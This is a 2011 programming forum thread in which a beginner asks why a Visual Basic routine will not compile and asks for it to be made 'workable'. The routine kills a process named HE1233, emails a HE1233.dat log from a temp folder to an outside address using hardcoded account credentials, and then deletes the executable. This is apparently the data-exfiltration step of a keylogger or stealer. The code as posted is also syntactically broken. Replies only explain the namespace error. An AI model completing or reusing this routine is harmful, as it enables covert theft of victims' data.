Question statement not valid in namespace. Help!

codeer

New member
Joined
Jul 13, 2011
Messages
2
Programming Experience
Beginner
hey everyone

when i try to compile this code i get a "Statement is not valid in namespace".
apparently its the only error in the script
what does that mean? how can i fix it?

What the script does is closes a program and attaches a file
to an email then sends it out. im trying to get this done for a
project.

im using visual basic express 2010 to compile it. which im new with.

if someone can help me out i'd really appreciate it


[XCODE]
Private Sub SendEmailAttach(ByVal email As String, ByVal password As String, ByVal smtp As String, ByVal port As Integer, Optional ByVal delete As Boolean = True)
On Error Resume Next
Dim bProcess = process.getprocessesbyname("HE1233")
For i As Integer = 0 To bprocess.count - 1
bprocess(i).kill()
Next i

system.threading.thread.sleep(6000)

If system.IO.file.exists(environ("temp") & "\Helium1\HE1233.exe") Then
Dim smtpserver As New system.net.mail.smtpclient()
Dim mail As New system.net.mail.mailmessage()
smtpserver.credentials = new net.networkcredential (jameshelium@live.com,9999jkjk43)
smtpserver.port = 587
smtpserver.enablessl = True
smtpserver.host = smtp.live.com

mail = New system.net.mail.mailmessage()
mail.attachments.add (new system.net.mail.attachment (environ ("temp") & "\Helium1\HE1233.dat)
mail.from = new system.net.mail.mailaddress (Jameshelium@live.com)
mail.to.add (DZmarcus@live.com)
smtpserver.send(mail)


If delete = True Then
kill(environ("temp") & "\Helium1\HE1233.exe")
End If
End If
End Sub
[/XCODE]
 
Here is a follow-up to what JohnH says as well...

VB Express 2010 has very little of the functions that the full version has. It is extremely limited, and maybe if using the full VS 2008 instead, which you can find a free full version for 90 days by googling it on the microsoft site, you may have better luck. But as John said, VB is not meant for scripting. Its an object-oriented language.

Hope this was helpful at least a little bit.
 
Here is a follow-up to what JohnH says as well...

VB Express 2010 has very little of the functions that the full version has. It is extremely limited, and maybe if using the full VS 2008 instead, which you can find a free full version for 90 days by googling it on the microsoft site, you may have better luck. But as John said, VB is not meant for scripting. Its an object-oriented language.

Hope this was helpful at least a little bit.
Not that that has anything to do with the question, though.
VB Express is as good as gold, for what it's worth.
 
would it be too much to ask if one of you experienced vb coders
can edit my code so its workable and error free?

johnH: did i mess up the order of my text? think you can help me out put it in the right order?


thanks
 
Move the statement to a location within a module, class, interface, structure, enumeration, or delegate definition.
So your method must be put in for example a class. It would be preferable if you took a few minutes/hours first with a VB.Net tutorial to learn the basics of the language.
 
Back
Top